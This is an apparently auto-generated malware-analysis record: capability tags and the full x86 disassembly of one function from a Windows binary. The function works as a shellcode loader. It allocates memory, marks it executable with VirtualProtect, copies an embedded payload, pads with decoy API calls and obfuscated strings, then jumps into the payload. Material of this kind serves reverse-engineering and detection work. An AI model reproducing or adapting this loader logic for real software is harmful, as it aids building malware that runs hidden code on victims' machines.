Function at 0x40165c
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Get hostname
Set file attributes
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1040
call fcn.0040d170
mov ecx, dword [0x1a1d170]
push esi
push edi
cmp ecx, 0x93
je 0x401808
mov eax, dword [0x41cac8]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x1a1d174], eax
push esi
mov dword [0x1a1d170], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x14]
mov dword [0x1a1cb64], eax
push ecx
push 0x40
push dword [0x1a1d170]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x4016ba
mov edx, dword [0x1a1d170]
mov edi, esi
test edx, edx
je 0x40172a
mov eax, dword [0x1a1d174]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x1a1cb64]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x401725
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push str.tobamenobu_resim_zoxeliwavitifujawuwakibete
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x840]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x440]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [0x1a1d170]
inc edi
cmp edi, edx
jb 0x4016cf
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x401767
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
push 0x41903c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
mov edx, dword [0x1a1d170]
inc edi
cmp edi, 0x38681
jl 0x40172c
push ecx
call fcn.00401619
mov edi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x401789
call fcn.00401640
inc edi
cmp edi, 0x674db
jl 0x401778
push 0x7b
pop edi
cmp dword [0x1a1d170], 0x86
jne 0x4017d5
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
push str.lorahavenaziwigel_yiwumofiripimezulezuruya_bijediyobacijakera_javeledojumicirixexuguwodivaku
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x3c]
push eax
push str.zepemiyenocanawumunuwesidenic
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1040]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x1a1d170], 0xf
jne 0x4017e8
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec edi
jne 0x401795
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x1a1cb64]
mov dword [0x1a1d164], eax
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.wolijipotagixedizejapawaxevasax
call dword [sym.imp.KERNEL32.dll_AddAtomA]
xor eax, eax
xor esi, esi
push esi
btr dword [eax], 0
lea eax, [ebp - 0x440]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x419024
push esi
call fcn.00403a61
push esi
call fcn.00403e7a
add esp, 0xc
push esi
call fcn.00402ad4
pop ecx
xorps xmm1, xmm1
xorps xmm0, xmm0
call fcn.00401080
push esi
push esi
call fcn.00403a76
pop ecx
pop ecx
push str.bad_exception
lea ecx, [ebp - 0x20]
call fcn.004010e5
lea ecx, [ebp - 0x20]
call fcn.00401101
push esi
call fcn.00403baf
pop ecx
push esi
call fcn.0040429d
int3